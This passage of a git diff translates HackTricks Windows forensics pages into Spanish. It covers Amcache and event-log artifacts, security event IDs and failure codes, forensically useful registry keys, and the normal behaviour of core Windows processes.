recientemente, incluyendo las rutas a los archivos ejecutables y sus hashes SHA1. Esta información es invaluable para rastrear la actividad de las aplicaciones en un sistema. +Para extraer y analizar los datos de **Amcache.hve**, se puede utilizar la herramienta [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). El siguiente comando es un ejemplo de cómo usar AmcacheParser para analizar el contenido del archivo **Amcache.hve** y exportar los resultados en formato CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Entre los archivos CSV generados, el `Amcache_Unassociated file entries` es particularmente notable debido a la rica información que proporciona sobre las entradas de archivos no asociadas. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +El archivo CVS más interesante generado es el `Amcache_Unassociated file entries`. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Este artefacto solo se puede encontrar en W7 en `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` y contiene información sobre la ejecución reciente de algunos binarios. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Puedes usar la herramienta [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) para analizar el archivo. -### Scheduled tasks +### Tareas programadas -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Puedes extraerlas de `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` y leerlas como XML. -### Services +### Servicios -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Puedes encontrarlos en el registro bajo `SYSTEM\ControlSet001\Services`. Puedes ver qué se va a ejecutar y cuándo. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Las aplicaciones instaladas se pueden encontrar en `\ProgramData\Microsoft\Windows\AppRepository\`\ +Este repositorio tiene un **log** con **cada aplicación instalada** en el sistema dentro de la base de datos **`StateRepository-Machine.srd`**. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +Dentro de la tabla de Aplicaciones de esta base de datos, es posible encontrar las columnas: "Application ID", "PackageNumber" y "Display Name". Estas columnas tienen información sobre aplicaciones preinstaladas e instaladas y se puede encontrar si algunas aplicaciones fueron desinstaladas porque los IDs de las aplicaciones instaladas deberían ser secuenciales. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +También es posible **encontrar aplicaciones instaladas** dentro de la ruta del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Y **aplicaciones desinstaladas** en: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` -## Windows Events +## Eventos de Windows -Information that appears inside Windows events are: +La información que aparece dentro de los eventos de Windows es: -- What happened -- Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- Qué sucedió +- Marca de tiempo (UTC + 0) +- Usuarios involucrados +- Hosts involucrados (nombre de host, IP) +- Activos accedidos (archivos, carpetas, impresoras, servicios) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +Los registros se encuentran en `C:\Windows\System32\config` antes de Windows Vista y en `C:\Windows\System32\winevt\Logs` después de Windows Vista. Antes de Windows Vista, los registros de eventos estaban en formato binario y después de eso, están en **formato XML** y utilizan la extensión **.evtx**. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +La ubicación de los archivos de eventos se puede encontrar en el registro de SYSTEM en **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Se pueden visualizar desde el Visor de Eventos de Windows (**`eventvwr.msc`**) o con otras herramientas como [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -## Understanding Windows Security Event Logging +## Comprendiendo el registro de eventos de seguridad de Windows -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Los eventos de acceso se registran en el archivo de configuración de seguridad ubicado en `C:\Windows\System32\winevt\Security.evtx`. El tamaño de este archivo es ajustable, y cuando se alcanza su capacidad, los eventos más antiguos se sobrescriben. Los eventos registrados incluyen inicios y cierres de sesión de usuarios, acciones de usuarios y cambios en la configuración de seguridad, así como acceso a archivos, carpetas y activos compartidos. -### Key Event IDs for User Authentication: +### Claves de Event IDs para la autenticación de usuarios: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Indica que un usuario se autenticó con éxito. +- **EventID 4625**: Señala un fallo de autenticación. +- **EventIDs 4634/4647**: Representan eventos de cierre de sesión de usuarios. +- **EventID 4672**: Denota inicio de sesión con privilegios administrativos. -#### Sub-types within EventID 4634/4647: +#### Subtipos dentro de EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactivo (2)**: Inicio de sesión directo del usuario. +- **Red (3)**: Acceso a carpetas compartidas. +- **Lote (4)**: Ejecución de procesos por lotes. +- **Servicio (5)**: Lanzamientos de servicios. +- **Proxy (6)**: Autenticación proxy. +- **Desbloquear (7)**: Pantalla desbloqueada con una contraseña. +- **Texto claro de red (8)**: Transmisión de contraseña en texto claro, a menudo desde IIS. +- **Nuevas credenciales (9)**: Uso de diferentes credenciales para el acceso. +- **Interactivo remoto (10)**: Inicio de sesión en escritorio remoto o servicios de terminal. +- **Interactivo en caché (11)**: Inicio de sesión con credenciales en caché sin contacto con el controlador de dominio. +- **Interactivo remoto en caché (12)**: Inicio de sesión remoto con credenciales en caché. +- **Desbloqueo en caché (13)**: Desbloqueo con credenciales en caché. -#### Status and Sub Status Codes for EventID 4625: +#### Códigos de estado y subestado para EventID 4625: -- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack. -- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt. -- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins. -- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts. -- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access. -- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location. -- **0xC0000193**: Account expiration - Access attempts with expired user accounts. -- **0xC0000071**: Expired password - Login attempts with outdated passwords. -- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket. -- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security. -- **0xC0000225**: Indicates a system bug rather than a security issue. -- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon. +- **0xC0000064**: El nombre de usuario no existe - Podría indicar un ataque de enumeración de nombres de usuario. +- **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza de contraseña o fuerza bruta. +- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulta en múltiples inicios de sesión fallidos. +- **0xC0000072**: Cuenta deshabilitada - Intentos no autorizados de acceder a cuentas deshabilitadas. +- **0xC000006F**: Inicio de sesión fuera del tiempo permitido - Indica intentos de acceso fuera de las horas de inicio de sesión establecidas, un posible signo de acceso no autorizado. +- **0xC0000070**: Violación de restricciones de estación de trabajo - Podría ser un intento de inicio de sesión desde una ubicación no autorizada. +- **0xC0000193**: Expiración de cuenta - Intentos de acceso con cuentas de usuario expiradas. +- **0xC0000071**: Contraseña expirada - Intentos de inicio de sesión con contraseñas desactualizadas. +- **0xC0000133**: Problemas de sincronización de tiempo - Grandes discrepancias de tiempo entre el cliente y el servidor pueden ser indicativas de ataques más sofisticados como pass-the-ticket. +- **0xC0000224**: Se requiere cambio de contraseña obligatorio - Cambios obligatorios frecuentes pueden sugerir un intento de desestabilizar la seguridad de la cuenta. +- **0xC0000225**: Indica un error del sistema en lugar de un problema de seguridad. +- **0xC000015b**: Tipo de inicio de sesión denegado - Intento de acceso con un tipo de inicio de sesión no autorizado, como un usuario que intenta ejecutar un inicio de sesión de servicio. #### EventID 4616: -- **Time Change**: Modification of the system time, could obscure the timeline of events. +- **Cambio de hora**: Modificación de la hora del sistema, podría oscurecer la línea de tiempo de los eventos. -#### EventID 6005 and 6006: +#### EventID 6005 y 6006: -- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down. +- **Inicio y apagado del sistema**: EventID 6005 indica que el sistema se está iniciando, mientras que EventID 6006 marca su apagado. #### EventID 1102: -- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities. +- **Eliminación de registros**: Los registros de seguridad están siendo borrados, lo que a menudo es una señal de alerta para encubrir actividades ilícitas. -#### EventIDs for USB Device Tracking: +#### EventIDs para el seguimiento de dispositivos USB: -- **20001 / 20003 / 10000**: USB device first connection. -- **10100**: USB driver update. -- **EventID 112**: Time of USB device insertion. +- **20001 / 20003 / 10000**: Primera conexión del dispositivo USB. +- **10100**: Actualización del controlador USB. +- **EventID 112**: Hora de inserción del dispositivo USB. -For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). +Para ejemplos prácticos sobre cómo simular estos tipos de inicio de sesión y oportunidades de volcado de credenciales, consulta la [guía detallada de Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). -Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625. +Los detalles del evento, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas del evento, particularmente notables en el Event ID 4625. -### Recovering Windows Events +### Recuperando eventos de Windows -To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events. +Para aumentar las posibilidades de recuperar eventos de Windows eliminados, se recomienda apagar la computadora sospechosa desconectándola directamente. **Bulk_extractor**, una herramienta de recuperación que especifica la extensión `.evtx`, se recomienda para intentar recuperar tales eventos. -### Identifying Common Attacks via Windows Events +### Identificando ataques comunes a través de eventos de Windows -For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/). +Para una guía completa sobre cómo utilizar los IDs de eventos de Windows para identificar ataques cibernéticos comunes, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/). -#### Brute Force Attacks +#### Ataques de fuerza bruta -Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds. +Identificables por múltiples registros de EventID 4625, seguidos de un EventID 4624 si el ataque tiene éxito. -#### Time Change +#### Cambio de hora -Recorded by EventID 4616, changes to system time can complicate forensic analysis. +Registrado por EventID 4616, los cambios en la hora del sistema pueden complicar el análisis forense. -#### USB Device Tracking +#### Seguimiento de dispositivos USB -Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps. +Los EventIDs útiles del sistema para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcas de tiempo de inserción. -#### System Power Events +#### Eventos de energía del sistema -EventID 6005 indicates system startup, while EventID 6006 marks shutdown. +EventID 6005 indica el inicio del sistema, mientras que EventID 6006 marca el apagado. -#### Log Deletion +#### Eliminación de registros -Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis. - -
- -{% embed url="https://websec.nl/" %} +El EventID de seguridad 1102 señala la eliminación de registros, un evento crítico para el análisis forense. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 840b910bc..380afc51e 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# Claves de Registro de Windows Interesantes -### Interesting Windows Registry Keys +### Claves de Registro de Windows Interesantes {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Información de Versión de Windows y Propietario** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- Ubicado en **`Software\Microsoft\Windows NT\CurrentVersion`**, encontrarás la versión de Windows, el Service Pack, la hora de instalación y el nombre del propietario registrado de manera sencilla. -### **Computer Name** +### **Nombre del Computador** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- El nombre del host se encuentra en **`System\ControlSet001\Control\ComputerName\ComputerName`**. -### **Time Zone Setting** +### **Configuración de Zona Horaria** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- La zona horaria del sistema se almacena en **`System\ControlSet001\Control\TimeZoneInformation`**. -### **Access Time Tracking** +### **Seguimiento de Tiempo de Acceso** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- Por defecto, el seguimiento del último tiempo de acceso está desactivado (**`NtfsDisableLastAccessUpdate=1`**). Para habilitarlo, usa: +`fsutil behavior set disablelastaccess 0` -### Windows Versions and Service Packs +### Versiones de Windows y Service Packs -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- La **versión de Windows** indica la edición (por ejemplo, Home, Pro) y su lanzamiento (por ejemplo, Windows 10, Windows 11), mientras que los **Service Packs** son actualizaciones que incluyen correcciones y, a veces, nuevas características. -### Enabling Last Access Time +### Habilitando el Tiempo de Último Acceso -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- Habilitar el seguimiento del último tiempo de acceso te permite ver cuándo se abrieron por última vez los archivos, lo que puede ser crítico para el análisis forense o la supervisión del sistema. -### Network Information Details +### Detalles de Información de Red -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- El registro contiene datos extensos sobre configuraciones de red, incluyendo **tipos de redes (inalámbrica, cable, 3G)** y **categorías de red (Pública, Privada/Hogar, Dominio/Trabajo)**, que son vitales para entender la configuración de seguridad de la red y los permisos. -### Client Side Caching (CSC) +### Caché del Lado del Cliente (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC** mejora el acceso a archivos sin conexión al almacenar copias de archivos compartidos. Diferentes configuraciones de **CSCFlags** controlan cómo y qué archivos se almacenan en caché, afectando el rendimiento y la experiencia del usuario, especialmente en entornos con conectividad intermitente. -### AutoStart Programs +### Programas de Inicio Automático -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- Los programas listados en varias claves de registro `Run` y `RunOnce` se inician automáticamente al arrancar, afectando el tiempo de arranque del sistema y potencialmente siendo puntos de interés para identificar malware o software no deseado. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags** no solo almacenan preferencias para vistas de carpetas, sino que también proporcionan evidencia forense de acceso a carpetas incluso si la carpeta ya no existe. Son invaluables para investigaciones, revelando la actividad del usuario que no es obvia a través de otros medios. -### USB Information and Forensics +### Información y Forense de USB -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- Los detalles almacenados en el registro sobre dispositivos USB pueden ayudar a rastrear qué dispositivos se conectaron a una computadora, potencialmente vinculando un dispositivo a transferencias de archivos sensibles o incidentes de acceso no autorizado. -### Volume Serial Number +### Número de Serie de Volumen -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- El **Número de Serie de Volumen** puede ser crucial para rastrear la instancia específica de un sistema de archivos, útil en escenarios forenses donde se necesita establecer el origen de un archivo a través de diferentes dispositivos. -### **Shutdown Details** +### **Detalles de Apagado** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- La hora de apagado y el conteo (este último solo para XP) se mantienen en **`System\ControlSet001\Control\Windows`** y **`System\ControlSet001\Control\Watchdog\Display`**. -### **Network Configuration** +### **Configuración de Red** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- Para información detallada de la interfaz de red, consulta **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. +- Los tiempos de conexión de red primero y último, incluidas las conexiones VPN, se registran en varias rutas en **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. -### **Shared Folders** +### **Carpetas Compartidas** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- Las carpetas compartidas y configuraciones están bajo **`System\ControlSet001\Services\lanmanserver\Shares`**. Las configuraciones de Caché del Lado del Cliente (CSC) dictan la disponibilidad de archivos sin conexión. -### **Programs that Start Automatically** +### **Programas que Inician Automáticamente** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- Rutas como **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** y entradas similares bajo `Software\Microsoft\Windows\CurrentVersion` detallan programas configurados para ejecutarse al inicio. -### **Searches and Typed Paths** +### **Búsquedas y Rutas Escritas** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- Las búsquedas de Explorer y las rutas escritas se rastrean en el registro bajo **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** para WordwheelQuery y TypedPaths, respectivamente. -### **Recent Documents and Office Files** +### **Documentos Recientes y Archivos de Office** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- Los documentos recientes y los archivos de Office accedidos se anotan en `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` y rutas específicas de versiones de Office. -### **Most Recently Used (MRU) Items** +### **Elementos Más Usados Recientemente (MRU)** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- Las listas MRU, que indican rutas de archivos y comandos recientes, se almacenan en varias subclaves de `ComDlg32` y `Explorer` bajo `NTUSER.DAT`. -### **User Activity Tracking** +### **Seguimiento de Actividad del Usuario** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- La función User Assist registra estadísticas detalladas de uso de aplicaciones, incluyendo el conteo de ejecuciones y la última hora de ejecución, en **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. -### **Shellbags Analysis** +### **Análisis de Shellbags** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Shellbags, que revelan detalles de acceso a carpetas, se almacenan en `USRCLASS.DAT` y `NTUSER.DAT` bajo `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** para el análisis. -### **USB Device History** +### **Historial de Dispositivos USB** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** y **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contienen detalles ricos sobre dispositivos USB conectados, incluyendo fabricante, nombre del producto y marcas de tiempo de conexión. +- El usuario asociado con un dispositivo USB específico se puede identificar buscando en los registros `NTUSER.DAT` para el **{GUID}** del dispositivo. +- El último dispositivo montado y su número de serie de volumen se pueden rastrear a través de `System\MountedDevices` y `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectivamente. -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +Esta guía condensa las rutas y métodos cruciales para acceder a información detallada del sistema, red y actividad del usuario en sistemas Windows, buscando claridad y usabilidad. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 06f914970..c3c576833 100644 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -3,104 +3,104 @@ ## smss.exe **Session Manager**.\ -Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree. +La sesión 0 inicia **csrss.exe** y **wininit.exe** (**servicios** **del** **SO**) mientras que la sesión 1 inicia **csrss.exe** y **winlogon.exe** (**sesión** **de** **usuario**). Sin embargo, deberías ver **solo un proceso** de ese **binario** sin hijos en el árbol de procesos. -Also, sessions apart from 0 and 1 may mean that RDP sessions are occurring. +Además, sesiones aparte de 0 y 1 pueden significar que están ocurriendo sesiones RDP. ## csrss.exe -**Client/Server Run Subsystem Process**.\ -It manages **processes** and **threads**, makes the **Windows** **API** available for other processes and also **maps drive letters**, create **temp files**, and handles the **shutdown** **process**. +**Proceso de Subsistema de Ejecución Cliente/Servidor**.\ +Gestiona **procesos** y **hilos**, hace que la **API** **de** **Windows** esté disponible para otros procesos y también **asigna letras de unidad**, crea **archivos temporales** y maneja el **proceso** de **apagado**. -There is one **running in Session 0 and another one in Session 1** (so **2 processes** in the processes tree). Another one is created **per new Session**. +Hay uno **ejecutándose en la Sesión 0 y otro en la Sesión 1** (así que **2 procesos** en el árbol de procesos). Se crea otro **por cada nueva Sesión**. ## winlogon.exe -**Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +**Proceso de Inicio de Sesión de Windows**.\ +Es responsable de los **inicios**/**cierres** de **sesión** de usuario. Lanza **logonui.exe** para pedir el nombre de usuario y la contraseña y luego llama a **lsass.exe** para verificarlos. -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +Luego lanza **userinit.exe** que está especificado en **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** con la clave **Userinit**. -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +Además, el registro anterior debería tener **explorer.exe** en la **clave Shell** o podría ser abusado como un **método de persistencia de malware**. ## wininit.exe -**Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +**Proceso de Inicialización de Windows**. \ +Lanza **services.exe**, **lsass.exe** y **lsm.exe** en la Sesión 0. Solo debería haber 1 proceso. ## userinit.exe -**Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +**Aplicación de Inicio de Sesión de Userinit**.\ +Carga el **ntduser.dat en HKCU** e inicializa el **entorno** **del** **usuario** y ejecuta **scripts de inicio de sesión** y **GPO**. -It launches **explorer.exe**. +Lanza **explorer.exe**. ## lsm.exe -**Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +**Administrador de Sesiones Locales**.\ +Trabaja con smss.exe para manipular sesiones de usuario: Inicio/cierre de sesión, inicio de shell, bloqueo/desbloqueo de escritorio, etc. -After W7 lsm.exe was transformed into a service (lsm.dll). +Después de W7, lsm.exe se transformó en un servicio (lsm.dll). -There should only be 1 process in W7 and from them a service running the DLL. +Solo debería haber 1 proceso en W7 y de ellos un servicio ejecutando la DLL. ## services.exe -**Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +**Administrador de Control de Servicios**.\ +**Carga** **servicios** configurados como **inicio automático** y **controladores**. -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +Es el proceso padre de **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** y muchos más. -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +Los servicios están definidos en `HKLM\SYSTEM\CurrentControlSet\Services` y este proceso mantiene una base de datos en memoria de la información del servicio que puede ser consultada por sc.exe. -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +Nota cómo **algunos** **servicios** van a estar ejecutándose en un **proceso propio** y otros van a estar **compartiendo un proceso svchost.exe**. -There should only be 1 process. +Solo debería haber 1 proceso. ## lsass.exe -**Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +**Subsistema de Autoridad de Seguridad Local**.\ +Es responsable de la **autenticación** del usuario y de crear los **tokens** de **seguridad**. Utiliza paquetes de autenticación ubicados en `HKLM\System\CurrentControlSet\Control\Lsa`. -It writes to the **Security** **event** **log** and there should only be 1 process. +Escribe en el **registro** **de** **eventos** de **seguridad** y solo debería haber 1 proceso. -Keep in mind that this process is highly attacked to dump passwords. +Ten en cuenta que este proceso es altamente atacado para volcar contraseñas. ## svchost.exe -**Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +**Proceso de Host de Servicio Genérico**.\ +Aloja múltiples servicios DLL en un proceso compartido. -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +Por lo general, encontrarás que **svchost.exe** se lanza con la bandera `-k`. Esto lanzará una consulta al registro **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** donde habrá una clave con el argumento mencionado en -k que contendrá los servicios a lanzar en el mismo proceso. -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +Por ejemplo: `-k UnistackSvcGroup` lanzará: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +Si la **bandera `-s`** también se usa con un argumento, entonces se le pide a svchost que **solo lance el servicio especificado** en este argumento. -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +Habrá varios procesos de `svchost.exe`. Si alguno de ellos **no está usando la bandera `-k`**, entonces eso es muy sospechoso. Si encuentras que **services.exe no es el padre**, eso también es muy sospechoso. ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that 